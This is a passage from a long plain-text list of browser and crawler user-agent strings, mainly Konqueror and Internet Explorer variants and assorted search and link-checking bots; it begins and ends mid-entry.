20021103)\nMozilla/5.0 (compatible; Konqueror/3.1; i686 Linux; 20021105)\nMozilla/5.0 (compatible; Konqueror/3.1; i686 Linux; 20021106)\nMozilla/5.0 (compatible; Konqueror/3.1; i686 Linux; 20021113)\nMozilla/5.0 (compatible; Konqueror/3.1; i686 Linux; 20021128)\nMozilla/5.0 (compatible; Konqueror/3.2; FreeBSD) (KHTML, like Gecko)\nMozilla/5.0 (compatible; Konqueror/3.2; Linux 2.6.2) (KHTML, like Gecko)\nMozilla/5.0 (compatible; Konqueror/3.2; Linux) (KHTML, like Gecko)\nMozilla/5.0 (compatible; Konqueror/3.2; Linux; X11; en_US) (KHTML, like Gecko)\nMozilla/5.0 (compatible; Konqueror/3.3) (KHTML, like Gecko)\nMozilla/5.0 (compatible; Konqueror/3.3) KHTML/3.3.2 (like Gecko)\nMozilla/5.0 (compatible; Konqueror/3.3; Linux 2.4.22-xfs; X11) KHTML/3.3.2 (like Gecko)\nMozilla/5.0 (compatible; Konqueror/3.3; Linux 2.4.27; X11) (KHTML, like Gecko)\nMozilla/5.0 (compatible; Konqueror/3.3; Linux 2.6.11) KHTML/3.3.2 (like Gecko)\nMozilla/5.0 (compatible; Konqueror/3.3; Linux 2.6.11.12-whnetz-xenU; X11; i686; en_US) KHTML/3.3.2 (like Gecko)\nMozilla/5.0 (compatible; Konqueror/3.3; Linux 2.6.11; X11) KHTML/3.3.2 (like Gecko)\nMozilla/5.0 (compatible; Konqueror/3.3; Linux 2.6.11; X11; i686) KHTML/3.3.2 (like Gecko)\nMozilla/5.0 (compatible; Konqueror/3.3; Linux 2.6.11; X11; i686; de) KHTML/3.3.2 (like Gecko)\nMozilla/5.0 (compatible; Konqueror/3.3; Linux 2.6.8-gentoo-r3; X11;\nMozilla/5.0 (compatible; Konqueror/3.3; Linux 2.6.9-1.667) (KHTML, like Gecko)\nMozilla/5.0 (compatible; Konqueror/3.3; Linux) (KHTML, like Gecko)\nMozilla/5.0 (compatible; Konqueror/3.3; Linux) KHTML/3.3.2 (like Gecko)\nMozilla/5.0 (compatible; Konqueror/3.3; SunOS) (KHTML, like Gecko)\nMozilla/5.0 (compatible; Konqueror/3.4) KHTML/3.4.0 (like Gecko)\nMozilla/5.0 (compatible; Konqueror/3.4) KHTML/3.4.2 (like Gecko)\nMozilla/5.0 (compatible; Konqueror/3.4; Linux 2.6.11; X11)\nMozilla/5.0 (compatible; Konqueror/3.4; Linux 2.6.11; X11) KHTML/3.4.0 (like Gecko)\nMozilla/5.0 (compatible; Konqueror/3.4; Linux 2.6.12.6; X11; i686; en_US) KHTML/3.4.3 (like Gecko)\nMozilla/5.0 (compatible; Konqueror/3.4; Linux 2.6.12; X11) KHTML/3.4.1 (like Gecko) (Debian package 4:3.4.1-1)\nMozilla/5.0 (compatible; Konqueror/3.4; Linux) KHTML/3.4.0 (like Gecko)\nMozilla/5.0 (compatible; Konqueror/3.4; Linux) KHTML/3.4.1 (like Gecko)\nMozilla/5.0 (compatible; Konqueror/3.4; Linux) KHTML/3.4.2 (like Gecko)\nMozilla/5.0 (compatible; Konqueror/3.4; Linux) KHTML/3.4.2 (like Gecko) (Debian package 4:3.4.2-4)\nMozilla/5.0 (compatible; Konqueror/3.4; Linux) KHTML/3.4.3 (like Gecko)\nMozilla/5.0 (compatible; Konqueror/3.4; Linux) KHTML/3.4.3 (like Gecko) (Debian package 4:3.4.3-2)\nMozilla/5.0 (compatible; Konqueror/3.4; Linux) KHTML/3.4.3 (like Gecko) (Kubuntu package 4:3.4.3-0ubuntu1)\nMozilla/5.0 (compatible; Konqueror/3.4; Linux) KHTML/3.4.3 (like Gecko) (Kubuntu package 4:3.4.3-0ubuntu2)\nMozilla/5.0 (compatible; Konqueror/3.4; Linux; de, en_US) KHTML/3.4.2 (like Gecko) (Debian package 4:3.4.2-4)\nMozilla/5.0 (compatible; Konqueror/3.4; SunOS) KHTML/3.4.1 (like Gecko)\nMozilla/5.0 (compatible; Konqueror/3.5) KHTML/3.5.0 (like Gecko)\nMozilla/5.0 (compatible; Konqueror/3.5) KHTML/3.5.1 (like Gecko)\nMozilla/5.0 (compatible; Konqueror/3.5) KHTML/3.5.2 (like Gecko)\nMozilla/5.0 (compatible; Konqueror/3.5) KHTML/3.5.3 (like Gecko)\nMozilla/5.0 (compatible; Konqueror/3.5) KHTML/3.5.5 (like Gecko)\nMozilla/5.0 (compatible; Konqueror/3.5) KHTML/3.5.6 (like Gecko)\nMozilla/5.0 (compatible; Konqueror/3.5) KHTML/3.5.7 (like Gecko)\nMozilla/5.0 (compatible; Konqueror/3.5; FreeBSD 5.5-PRERELEASE; X11; i386; pl) KHTML/3.5.1 (like Gecko)\nMozilla/5.0 (compatible; Konqueror/3.5; FreeBSD 6.2-RELEASE; X11; i386) KHTML/3.5.4 (like Gecko)\nMozilla/5.0 (compatible; Konqueror/3.5; FreeBSD) KHTML/3.5.1 (like Gecko)\nMozilla/5.0 (compatible; Konqueror/3.5; FreeBSD) KHTML/3.5.2 (like Gecko)\nMozilla/5.0 (compatible; Konqueror/3.5; FreeBSD) KHTML/3.5.3 (like Gecko)\nMozilla/5.0 (compatible; Konqueror/3.5; FreeBSD) KHTML/3.5.4 (like Gecko)\nMozilla/5.0 (compatible; Konqueror/3.5; FreeBSD) KHTML/3.5.7 (like Gecko)\nMozilla/5.0 (compatible; Konqueror/3.5; Intel Mac OS X) KHTML/3.5.6 (like Gecko)\nMozilla/5.0 (compatible; Konqueror/3.5; Linux 2.6.15-26-686; X11; i686; en_US) KHTML/3.5.2 (like Gecko) Kubuntu 6.06 Dapper\nMozilla/5.0 (compatible; Konqueror/3.5; Linux 2.6.16-1.2096_FC5) KHTML/3.5.2 (like Gecko)\nMozilla/5.0 (compatible; Konqueror/3.5; Linux 2.6.16-1.2111_FC5) KHTML/3.5.2 (like Gecko)\nMozilla/5.0 (compatible; Konqueror/3.5; Linux 2.6.16.13-4-default; X11; i686; en_US) KHTML/3.5.1 (like Gecko)\nMozilla/5.0 (compatible; Konqueror/3.5; Linux 2.6.17; X11) KHTML/3.5.2 (like Gecko) (Debian package 4:3.5.2-2+b1)\nMozilla/5.0 (compatible; Konqueror/3.5; Linux 2.6.18-2-k7; i686; pl) KHTML/3.5.5 (like Gecko) (Debian package 4:3.5.5a.dfsg.1-3)\nMozilla/5.0 (compatible; Konqueror/3.5; Linux 2.6.18-gentoo-r3; X11; i686; pl) KHTML/3.5.5 (like Gecko)\nMozilla/5.0 (compatible; Konqueror/3.5; Linux 2.6.18.1; de) KHTML/3.5.5 (like Gecko) (Debian package 4:3.5.5a.dfsg.1-4)\nMozilla/5.0 (compatible; Konqueror/3.5; Linux 2.6.18.1; de) KHTML/3.5.5 (like Gecko) (Debian package 4:3.5.5a.dfsg.1-5)\nMozilla/5.0 (compatible; Konqueror/3.5; Linux 2.6.19; X11) KHTML/3.5.5 (like Gecko) (Debian package 4:3.5.5a.dfsg.1-5)\nMozilla/5.0 (compatible; Konqueror/3.5; Linux 2.6.20-15-generic; X11; i686; de) KHTML/3.5.6 (like Gecko) (Kubuntu package 4:3.5.6-0ubuntu14)\nMozilla/5.0 (compatible; Konqueror/3.5; Linux 2.6.22.3; X11; x86_64; de) KHTML/3.5.7 (like Gecko) (Debian package 4:3.5.7.dfsg.1-4)\nMozilla/5.0 (compatible; Konqueror/3.5; Linux 2.6.23-gentoo; X11; x86_64) KHTML/3.5.8 (like Gecko)\nMozilla/5.0 (compatible; Konqueror/3.5; Linux 2.6.24-24-generic) KHTML/3.5.10 (like Gecko) (Kubuntu package 4:3.5.10-0ubuntu1~hardy1.1)\nMozilla/5.0 (compatible; Konqueror/3.5; Linux 2.6.24-ARCH; X11; i686; en_US) KHTML/3.5.8 (like Gecko)\nMozilla/5.0 (compatible; Konqueror/3.5; Linux 2.6.24.2-hot; X11; i686; en_US) KHTML/3.5.8 (like Gecko)\nMozilla/5.0 (compatible; Konqueror/3.5; Linux 2.6.27.19-desktop-1mnb; X11; i686; cs) KHTML/3.5.10 (like Gecko)\nMozilla/5.0 (compatible; Konqueror/3.5; Linux 2.6.30-7.dmz.1-liquorix-686; X11) KHTML/3.5.10 (like Gecko) (Debian package 4:3.5.10.dfsg.1-1 b1)\nMozilla/5.0 (compatible; Konqueror/3.5; Linux i686) KHTML/3.5.6 (like Gecko)\nMozilla/5.0 (compatible; Konqueror/3.5; Linux)\nMozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.0 (like Gecko)\nMozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.0 (like Gecko) (Debian package 4:3.5.0-2)\nMozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.1 (like Gecko)\nMozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.2 (like Gecko)\nMozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.2 (like Gecko) (Debian)\nMozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.2 (like Gecko) Kubuntu 6.06 Dapper\nMozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.3 (like Gecko)\nMozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.3 (like Gecko) Kubuntu 6.06 Dapper\nMozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.4\nMozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.4 (like Gecko)\nMozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.4 (like Gecko) (Debian)\nMozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.5 (like Gecko)\nMozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.5 (like Gecko) (Exabot-Thumbnails)\nMozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.5 (like Gecko) (Kubuntu)\nMozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.6 (like Gecko)\nMozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.6 (like Gecko) (Debian)\nMozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.6 (like Gecko) (Kubuntu)\nMozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.7 (like Gecko)\nMozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.7 (like Gecko) (Debian)\nMozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.7 (like Gecko) (Kubuntu)\nMozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.7 (like Gecko) SUSE\nMozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.9 (like Gecko)\nMozilla/5.0 (compatible; Konqueror/3.5; Linux; X11) KHTML/3.5.3 (like Gecko) Kubuntu 6.06 Dapper\nMozilla/5.0 (compatible; Konqueror/3.5; Linux; X11; i686; en_US) KHTML/3.5.6 (like Gecko) (Debian)\nMozilla/5.0 (compatible; Konqueror/3.5; Linux; de) KHTML/3.5.5 (like Gecko) (Debian)\nMozilla/5.0 (compatible; Konqueror/3.5; Linux; en_US) KHTML/3.5.6 (like Gecko) (Kubuntu)\nMozilla/5.0 (compatible; Konqueror/3.5; Linux; i686; U; it-IT) KHTML/3.5.5 (like Gecko) (Debian)\nMozilla/5.0 (compatible; Konqueror/3.5; Linux; x86_64) KHTML/3.5.5 (like Gecko)\nMozilla/5.0 (compatible; Konqueror/3.5; Linux; x86_64) KHTML/3.5.5 (like Gecko) (Debian)\nMozilla/5.0 (compatible; Konqueror/3.5; Linux; x86_64; en_US) KHTML/3.5.10 (like Gecko) SUSE\nMozilla/5.0 (compatible; Konqueror/3.5; NetBSD 3.0; X11) KHTML/3.5.2 (like Gecko)\nMozilla/5.0 (compatible; Konqueror/3.5; NetBSD 4.0_RC3; X11) KHTML/3.5.7 (like Gecko)\nMozilla/5.0 (compatible; Konqueror/3.5; SunOS)\nMozilla/5.0 (compatible; Konqueror/3.5; SunOS) KHTML/3.5.0 (like Gecko)\nMozilla/5.0 (compatible; Konqueror/3.5; SunOS) KHTML/3.5.1 (like Gecko)\nMozilla/5.0 (compatible; Konqueror/3.5; Windows NT 6.0) KHTML/3.5.6 (like Gecko)\nMozilla/5.0 (compatible; Konqueror/3.5; de) KHTML/3.5.10 (like Gecko)\nMozilla/5.0 (compatible; Konqueror/3.5; de) KHTML/3.5.5 (like Gecko)\nMozilla/5.0 (compatible; Konqueror/4.0; Linux) KHTML/4.0.82 (like Gecko)\nMozilla/5.0 (compatible; Konqueror/4.0; Linux; x86_64) KHTML/4.0.2 (like Gecko)\nMozilla/5.0 (compatible; Konqueror/4.0; Windows) KHTML/4.0.83 (like Gecko)\nMozilla/5.0 (compatible; Konqueror/4.0; X11) KHTML/4.0.3 (like Gecko)\nMozilla/5.0 (compatible; Konqueror/4.1; DragonFly) KHTML/4.1.4 (like Gecko)\nMozilla/5.0 (compatible; Konqueror/4.1; Linux 2.6.27.7-134.fc10.x86_64; X11; x86_64) KHTML/4.1.3 (like Gecko) Fedora/4.1.3-4.fc10\nMozilla/5.0 (compatible; Konqueror/4.1; Linux) KHTML/4.1.3 (like Gecko) Fedora/4.1.3-3.fc10\nMozilla/5.0 (compatible; Konqueror/4.1; Linux) KHTML/4.1.4 (like Gecko)\nMozilla/5.0 (compatible; Konqueror/4.1; OpenBSD) KHTML/4.1.4 (like Gecko)\nMozilla/5.0 (compatible; Konqueror/4.2) KHTML/4.2.4 (like Gecko) Fedora/4.2.4-2.fc11\nMozilla/5.0 (compatible; Konqueror/4.2; Linux) KHTML/4.2.1 (like Gecko) Fedora/4.2.1-4.fc11\nMozilla/5.0 (compatible; Konqueror/4.2; Linux) KHTML/4.2.2 (like Gecko)\nMozilla/5.0 (compatible; Konqueror/4.2; Linux) KHTML/4.2.4 (like Gecko) Fedora/4.2.4-2.fc11\nMozilla/5.0 (compatible; Konqueror/4.2; Linux) KHTML/4.2.4 (like Gecko) Slackware/13.0\nMozilla/5.0 (compatible; Konqueror/4.2; Linux) KHTML/4.2.96 (like Gecko)\nMozilla/5.0 (compatible; Konqueror/4.2; Linux) KHTML/4.2.98 (like Gecko)\nMozilla/5.0 (compatible; Konqueror/4.2; Linux; X11; x86_64) KHTML/4.2.4 (like Gecko) Fedora/4.2.4-2.fc11\nMozilla/5.0 (compatible; Konqueror/4.3; Linux 2.6.31-16-generic; X11) KHTML/4.3.2 (like Gecko)\nMozilla/5.0 (compatible; Konqueror/4.3; Linux) KHTML/4.3.1 (like Gecko) Fedora/4.3.1-3.fc11\nMozilla/5.0 (compatible; Konqueror/4.4; Linux 2.6.32-22-generic; X11; en_US) KHTML/4.4.3 (like Gecko) Kubuntu\nMozilla/5.0 (compatible; Konqueror/4.4; Linux) KHTML/4.4.1 (like Gecko) Fedora/4.4.1-1.fc12\nMozilla/5.0 (compatible; Konqueror/4.5; FreeBSD) KHTML/4.5.4 (like Gecko)\nMozilla/5.0 (compatible; Konqueror/4.5; NetBSD 5.0.2; X11; amd64; en_US) KHTML/4.5.4 (like Gecko)\nMozilla/5.0 (compatible; Konqueror/4.5; Windows) KHTML/4.5.4 (like Gecko)\nMozilla/5.0 (compatible; LemSpider 0.1)\nMozilla/5.0 (compatible; LinkStash Bookmark Manager; http://www.xrayz.co.uk/)\nMozilla/5.0 (compatible; LinksManager.com_bot  http://linksmanager.com/linkchecker.html)\nMozilla/5.0 (compatible; LinksManager.com_bot +http://linksmanager.com/linkchecker.html)\nMozilla/5.0 (compatible; LinksManager.com_bot http://linksmanager.com/linkchecker.html)\nMozilla/5.0 (compatible; MJ12bot/v1.2.3; http://www.majestic12.co.uk/bot.php?+)\nMozilla/5.0 (compatible; MJ12bot/v1.2.4; http://www.majestic12.co.uk/bot.php?+)\nMozilla/5.0 (compatible; MOSBookmarks/v2.6-Plus; Link Checker)\nMozilla/5.0 (compatible; MSIE 10.0; Macintosh; Intel Mac OS X 10_7_3; Trident/6.0)\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/4.0; InfoPath.2; SV1; .NET CLR 2.0.50727; WOW64)\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/5.0)\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Trident/6.0; Crazy Browser 3.1.0)\nMozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch)\nMozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920)\nMozilla/5.0 (compatible; MSIE 10.6; Windows NT 6.1; Trident/5.0; InfoPath.2; SLCC1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 2.0.50727) 3gpp-gba UNTRUSTED/1.0\nMozilla/5.0 (compatible; MSIE 6.0; Podtech Network; crawler_admin@podtech.net)\nMozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1)\nMozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4325)\nMozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)\nMozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1; zh-cn) Opera 8.65\nMozilla/5.0 (compatible; MSIE 7.0; Windows 98; SpamBlockerUtility 6.3.91; SpamBlockerUtility 6.2.91; .NET CLR 4.1.89;GB)\nMozilla/5.0 (compatible; MSIE 7.0; Windows NT 5.0; Trident/4.0; FBSMTWB; .NET CLR 2.0.34861; .NET CLR 3.0.3746.3218; .NET CLR 3.5.33652; msn OptimizedIE8;ENUS)\nMozilla/5.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64; .NET CLR 2.0.50727)\nMozilla/5.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; c .NET CLR 3.0.04506; .NET CLR 3.5.30707; InfoPath.1; el-GR)\nMozilla/5.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; c .NET CLR 3.0.04506; .NET CLR 3.5.30707; InfoPath.1; el-GR)\nMozilla/5.0 (compatible; MSIE 7.0; Windows NT 6.0; en-US)\nMozilla/5.0 (compatible; MSIE 7.0; Windows NT 6.0; fr-FR)\nMozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.0; Trident/4.0; InfoPath.1; SV1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 3.0.04506.30)\nMozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; SLCC1; .NET CLR 1.1.4322)\nMozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.2; SLCC1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 2.0.50727)\nMozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; Maxthon; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 3.0.04320)\nMozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SLCC1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322)\nMozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0; Media Center PC 4.0; SLCC1; .NET CLR 3.0.04320)\nMozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0; Trident/4.0; Media Center PC 4.0; SLCC1; .NET CLR 3.0.04320; Maxthon 2.0)\nMozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; SV1; Crazy Browser 9.0.04)\nMozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; .NET CLR 2.7.58687; SLCC2; Media Center PC 5.0; Zune 3.4; Tablet PC 3.6; InfoPath.3)\nMozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR   3.5.30729)\nMozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)\nMozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; InfoPath.1; SV1; .NET CLR 3.8.36217; WOW64; en-US)\nMozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 1.0.3705; .NET CLR 1.1.4322)\nMozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 3.3.69573; WOW64; en-US)\nMozilla/5.0 (compatible; MSIE 9.0; AOL 9.0; Windows NT 6.0; Trident/5.0)\nMozilla/5.0 (compatible; MSIE 9.0; AOL 9.1; AOLBuild 4334.5012; Windows NT 6.0; WOW64; Trident/5.0)\nMozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0) Opera 12.14\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/4.0; GTB7.4; InfoPath.3; SV1; .NET CLR 3.1.76908; WOW64; en-US)\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/4.0; Maxthon; SV1; .NET CLR 1.1.4322; .NET CLR 2.4.84947; SLCC1; Media Center PC 4.0; Zune 3.5; Tablet PC 3.5; InfoPath.3)\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; Sleipnir/2.9.7)\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; TheWorld)\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; chromeframe/11.0.696.57)\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.1; SV1; .NET CLR 2.8.52393; WOW64; en-US)\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/4.0; WOW64; Trident/5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 2.0.50727; Media Center PC 6.0; Maxthon 2.0)\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/4.0; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Zune 4.0; InfoPath.3; MS-RTC LM 8; .NET4.0C; .NET4.0E; Maxthon 2.0)\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) chromeframe/10.0.648.205\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; FunWebProducts)\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; .NET CLR 1.1.4322; .NET4.0C; Tablet PC 2.0)\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; XBLWP7; ZuneWP7) UCBrowser/2.9.0.263\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; chromeframe/11.0.696.57)\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; chromeframe/13.0.782.215)\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; yie8)\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 2.0.50727; Media Center PC 6.0)\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; Maxthon/3.0)\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Lunascape 6.7.1.25446)\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Zune 4.0; InfoPath.3; MS-RTC LM 8; .NET4.0C; .NET4.0E)\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; Media Center PC 6.0; InfoPath.3; MS-RTC LM 8; Zune 4.7\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; Media Center PC 6.0; InfoPath.3; MS-RTC LM 8; Zune 4.7)\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; chromeframe/12.0.742.112)\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Zune 4.0; Tablet PC 2.0; InfoPath.3; .NET4.0C; .NET4.0E)\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 2.0.50727; Media Center PC 6.0)\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; de) Opera 11.51\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.2; Trident/5.0)\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.2; WOW64; Trident/5.0)\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 7.1; Trident/5.0)\nMozilla/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident/5.0; IEMobile/9.0)\nMozilla/5.0 (compatible; MojeekBot/2.0; http://www.mojeek.com/bot.html)\nMozilla/5.0 (compatible; NetSeer crawler/2.0; +http://www.netseer.com/crawler.html; crawler@netseer.com)\nMozilla/5.0 (compatible; OnetSzukaj/5.0; http://szukaj.onet.pl)\nMozilla/5.0 (compatible; PEAR HTTP_Request class; http://feed.moo.jp/)\nMozilla/5.0 (compatible; PWeBot/3.1; http://www.programacionweb.net/robot.php)\nMozilla/5.0 (compatible; PagestackerBot; http://www.pagestacker.com)\nMozilla/5.0 (compatible; PalmeraBot; http://www.links24h.com/help/palmera) Version 0.001\nMozilla/5.0 (compatible; Peew/1.0; http://www.peew.de/crawler/)\nMozilla/5.0 (compatible; Phonifier; +http://www.phonifier.com)\nMozilla/5.0 (compatible; Pogodak.hr/3.1)\nMozilla/5.0 (compatible; Proximic crawler; +http://www.proximic.com/en/about-us/contact-us.html)\nMozilla/5.0 (compatible; Quantcastbot/1.0; www.quantcast.com)\nMozilla/5.0 (compatible; SYCLIKControl/LinkChecker;)\nMozilla/5.0 (compatible; ScoutJet;  http://www.scoutjet.com/)\nMozilla/5.0 (compatible; ScoutJet; +http://www.scoutjet.com/)\nMozilla/5.0 (compatible; Scrubby/2.1; +http://www.scrubtheweb.com/abs/meta-check.html)\nMozilla/5.0 (compatible; Scrubby/2.2;  http://www.scrubtheweb.com/)\nMozilla/5.0 (compatible; Scrubby/2.2; +http://www.scrubtheweb.com/)\nMozilla/5.0 (compatible; ShunixBot/1.x.x +http://www.shunix.com/robot.htm)\nMozilla/5.0 (compatible; ShunixBot/1.x; http://www.shunix.com/bot.htm)\nMozilla/5.0 (compatible; SiteBot/0.1;  http://www.sitebot.org/robot/)\nMozilla/5.0 (compatible; SiteBot/0.1; +http://www.sitebot.org/robot/)\nMozilla/5.0 (compatible; SkreemRBot +http://skreemr.com)\nMozilla/5.0 (compatible; SnapPreviewBot; en-US; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9\nMozilla/5.0 (compatible; Speedy Spider; http://www.entireweb.com/about/search_tech/speedy_spider/)\nMozilla/5.0 (compatible; SpurlBot/0.2)\nMozilla/5.0 (compatible; SummizeBot +http://www.summize.com)\nMozilla/5.0 (compatible; Sundance/0.9x)\nMozilla/5.0 (compatible; Synoobot/0.9; http://www.synoo.com/search/bot.html)\nMozilla/5.0 (compatible; Teleca Q7; Brew 3.1.5; U; en) 480X800 LGE VX11000\nMozilla/5.0 (compatible; Theophrastus/x.x; http://users.cs.cf.ac.uk/N.A.Smith/theophrastus.php)\nMozilla/5.0 (compatible; TridentSpider/3.1)\nMozilla/5.0 (compatible; TweetedTimes Bot/1.0;  http://tweetedtimes.com)\nMozilla/5.0 (compatible; U; ABrowse 0.6;  Syllable) AppleWebKit/420+ (KHTML, like Gecko)\nMozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)\nMozilla/5.0 (compatible; U; Windows NT 6.0) Gecko/2008092510 Firefox/3.0.3\nMozilla/5.0 (compatible; Urlfilebot/2.2; +http://urlfile.com/bot.html)\nMozilla/5.0 (compatible; Vagabondo/2.1; webcrawler at wise-guys dot nl; http://webagent.wise-guys.nl/)\nMozilla/5.0 (compatible; Webduniabot/1.0; 